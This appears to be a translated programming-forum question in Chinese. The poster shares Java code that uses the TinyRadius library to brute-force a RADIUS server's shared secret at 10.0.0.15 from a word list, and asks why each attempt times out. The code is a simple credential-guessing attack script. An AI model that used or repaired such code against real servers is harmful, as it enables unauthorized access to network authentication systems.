所以我有一个运行在 10.0.0.15 的 RADIUS 服务器。我必须暴力破解它的共享秘密。我正在使用TinyRaidus Java 库。
这是我的代码:
String s = "big line...";
String[] words = s.split("\\W+");
String host, userName, password;
userName = "admin";
password = "pass";
host = "10.0.0.15";
int count = words.length;
for (String word : words) {
System.err.println("Left: " + count);
RadiusClient rc = new RadiusClient(host, word);
try {
if (rc.authenticate(userName, password)) {
System.out.print("Cracked. Secret is: " + word);
break;
}
} catch (IOException ex) {
Logger.getLogger(RadiusBrute.class.getName()).log(Level.SEVERE, null, ex);
} catch (RadiusException ex) {
Logger.getLogger(RadiusBrute.class.getName()).log(Level.SEVERE, null, ex);
}
}
但是,每次我运行它时,我都会收到此错误:
Jun 21, 2016 12:48:28 AM org.tinyradius.util.RadiusClient communicate
SEVERE: communication failure (timeout), no more retries
Jun 21, 2016 12:48:28 AM radiusbrute.RadiusBrute main
SEVERE: null
java.net.SocketTimeoutException: Receive timed out
at java.net.PlainDatagramSocketImpl.receive0(Native Method)
at java.net.AbstractPlainDatagramSocketImpl.receive(AbstractPlainDatagramSocketImpl.java:144)
at java.net.DatagramSocket.receive(DatagramSocket.java:812)
at org.tinyradius.util.RadiusClient.communicate(RadiusClient.java:249)
at org.tinyradius.util.RadiusClient.authenticate(RadiusClient.java:83)
at org.tinyradius.util.RadiusClient.authenticate(RadiusClient.java:65)
at radiusbrute.RadiusBrute.main(RadiusBrute.java:284)
我在这里做错了吗?谢谢。